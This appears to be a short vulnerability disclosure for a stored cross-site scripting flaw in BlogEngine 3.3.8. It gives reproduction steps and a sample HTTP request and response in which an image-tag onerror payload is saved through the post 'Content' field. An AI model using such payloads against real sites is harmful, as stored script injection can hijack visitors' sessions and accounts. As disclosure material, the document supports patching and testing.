BlogEngine 3.3.8 - 'Content' Stored XSS

# Exploit Title: BlogEngine 3.3.8 - 'Content' Stored XSS
# Date: 11/2020
# Exploit Author: Andrey Stoykov
# Vendor Homepage: https://blogengine.io/
# Software Link: https://github.com/BlogEngine/BlogEngine.NET/releases/download/v3.3.8.0/3380.zip
# Version: 3.3.8
# Tested on: Windows Server 2016
# Exploit and Detailed Info: https://infosecresearchlab.blogspot.com/2020/11/blogengine-338-stored-xss.html


Stored XSS Reproduction Steps:

1. Login http://IP/blogengine/admin/app/editor/editpost.cshtml
2. Add content and trap POST request into intercepting proxy
3. Add the XSS payload into the "Content" parameter value
4. Browse to the post to trigger the XSS payload


Example HTTP POST Request:
POST /blogengine/api/posts HTTP/1.1
Host: 192.168.56.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
[..]
{
  "Id": "",
  "Title": "XSS Test",
  "Author": "Admin",
  "Content": "<img src=x onerror=alert(`XSS`)>",
  [..]
  }

Example HTTP Response:
HTTP/1.1 201 Created
Cache-Control: no-cache
[..]
{
  "IsChecked": false,
  "Id": "357ae13d-f230-486a-b2aa-71d67a700083",
  "Title": "XSS Test",
  "Author": "Admin",
  "Description": "",
  "Content": "<img src=x onerror=alert(`XSS`)>",
  [..]
 }